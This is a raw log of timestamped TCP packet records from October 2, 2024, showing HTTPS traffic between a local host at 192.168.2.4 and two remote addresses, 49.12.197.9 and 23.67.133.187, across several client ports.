Oct 2, 2024 05:20:25.838326931 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.846148014 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.846163034 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.846218109 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.846234083 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.846273899 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.856225967 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.856240034 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.856297016 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.856312037 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.856458902 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.870841026 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.870857000 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.870955944 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.870965958 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.871012926 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.876383066 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.876399994 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.876457930 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.876466990 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.876509905 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.883723974 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.883744955 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.883845091 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.883852959 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.883910894 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.933106899 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.933149099 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.933320999 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.933331966 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.933450937 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.933492899 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.933506966 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.933593988 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.933599949 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.933690071 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.934478998 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.934499979 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.934561968 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.934570074 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.934609890 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.948424101 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.948456049 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.948580980 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.948589087 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.948668003 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.948981047 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.948997021 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.949047089 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.949057102 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.949103117 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.963623047 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.963640928 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.963705063 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.963711977 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.963757038 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.976099014 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.976116896 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.976183891 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.976191998 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.976233959 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.976728916 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.976744890 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.976912022 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.976917028 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.976968050 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.025741100 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.025759935 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.025825977 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.025831938 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.025873899 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.026241064 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.026257038 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.026314974 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.026319981 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.026362896 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.027276039 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.027290106 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.027357101 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.027363062 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.027414083 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.040915966 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.040931940 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.041017056 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.041023970 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.041066885 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.041928053 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.041943073 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.042006969 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.042012930 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.042056084 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.056684017 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.056705952 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.056787014 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.056798935 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.056843042 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.068768024 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.068784952 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.069000959 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.069010019 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.069084883 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.069555044 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.069577932 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.069644928 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.069650888 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.069694996 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.118259907 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.118283987 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.118371964 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.118381977 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.118432045 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.118782997 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.118798018 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.118849993 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.118858099 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.118899107 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.119946003 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.119968891 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.120023012 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.120032072 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.120071888 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.133821964 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.133840084 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.133907080 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.133917093 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.133959055 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.134390116 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.134404898 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.134463072 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.134470940 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.134516954 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.149197102 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.149215937 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.149317026 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.149326086 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.149365902 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.161535025 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.161552906 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.161636114 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.161643028 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.161683083 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.162123919 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.162138939 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.162184954 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.162192106 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.162234068 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.210979939 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.210994959 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.211029053 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.211035967 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.211064100 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.211085081 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.211487055 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.211503029 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.211536884 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.211544991 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.211571932 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.211585999 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.212549925 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.212563992 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.212599039 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.212605953 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.212627888 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.212651014 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.226394892 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.226408958 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.226454973 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.226460934 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.226496935 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.226943970 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.226958990 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.227005005 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.227011919 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.227039099 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.227046013 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.241954088 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.241969109 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.242021084 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.242029905 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.242074966 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.254132986 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.254157066 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.254215002 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.254220963 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.254270077 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.254664898 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.254678965 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.254714012 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.254723072 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.254740953 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.254756927 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.303390980 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.303407907 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.303481102 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.303488970 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.303529024 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.304214001 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.304231882 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.304285049 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.304291964 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.304332972 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.304990053 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.305007935 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.305048943 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.305056095 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.305104017 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.318813086 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.318833113 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.318882942 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.318890095 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.318908930 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.318923950 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.319549084 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.319562912 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.319607973 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.319613934 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.319648981 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.334539890 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.334553957 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.334613085 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.334621906 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.334656954 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.346797943 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.346812010 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.346894026 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.346901894 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.346940994 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.347311020 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.347325087 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.347381115 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.347390890 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.347460985 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.396013021 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.396027088 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.396181107 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.396188021 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.396231890 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.396806955 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.396825075 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.396861076 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.396866083 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.396872997 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.396902084 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.396922112 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.396924973 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.396938086 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.396969080 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.396987915 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.397169113 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.397180080 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.412153959 CEST	49800	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.412240028 CEST	443	49800	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:26.412324905 CEST	49800	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.412518978 CEST	49800	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:26.412539959 CEST	443	49800	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:27.085217953 CEST	443	49800	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:27.085314989 CEST	49800	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:27.085764885 CEST	49800	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:27.085788965 CEST	443	49800	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:27.087970972 CEST	49800	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:27.087985992 CEST	443	49800	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:27.088087082 CEST	49800	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:27.088104010 CEST	443	49800	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:27.470572948 CEST	49801	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:27.470613003 CEST	443	49801	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:27.470671892 CEST	49801	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:27.471510887 CEST	49801	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:27.471527100 CEST	443	49801	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:27.728466988 CEST	443	49800	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:27.728542089 CEST	443	49800	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:27.728569984 CEST	49800	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:27.728637934 CEST	49800	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:27.735892057 CEST	49800	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:27.735929966 CEST	443	49800	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:28.320130110 CEST	443	49801	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:28.320194006 CEST	49801	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:29.641067982 CEST	49801	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:29.714602947 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:29.714658022 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:29.714734077 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:29.716909885 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:29.716926098 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.345287085 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.345566988 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.399857044 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.399907112 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.400228024 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.400286913 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.401711941 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.443416119 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.837778091 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.837800980 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.837821007 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.837886095 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.837920904 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.837940931 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.837969065 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.921472073 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.921530008 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.921586990 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.921621084 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.921636105 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.921663046 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.939625025 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.939656973 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.939702034 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.939707041 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.939733982 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.939757109 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.940278053 CEST	49802	443	192.168.2.4	23.67.133.187
Oct 2, 2024 05:20:30.940301895 CEST	443	49802	23.67.133.187	192.168.2.4
Oct 2, 2024 05:20:30.949790001 CEST	49803	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:30.949872017 CEST	443	49803	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:30.949963093 CEST	49803	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:30.950215101 CEST	49803	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:30.950247049 CEST	443	49803	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:31.600280046 CEST	443	49803	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:31.600366116 CEST	49803	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:31.603498936 CEST	49803	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:31.603523970 CEST	443	49803	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:31.603780031 CEST	443	49803	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:31.607359886 CEST	49803	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:31.607755899 CEST	49803	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:31.651401043 CEST	443	49803	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:32.253079891 CEST	443	49803	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:32.253153086 CEST	49803	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:32.253163099 CEST	443	49803	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:32.254118919 CEST	49803	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:32.254190922 CEST	49803	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:32.254223108 CEST	443	49803	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:32.256515980 CEST	49804	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:32.256557941 CEST	443	49804	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:32.256625891 CEST	49804	443	192.168.2.4	49.12.197.9
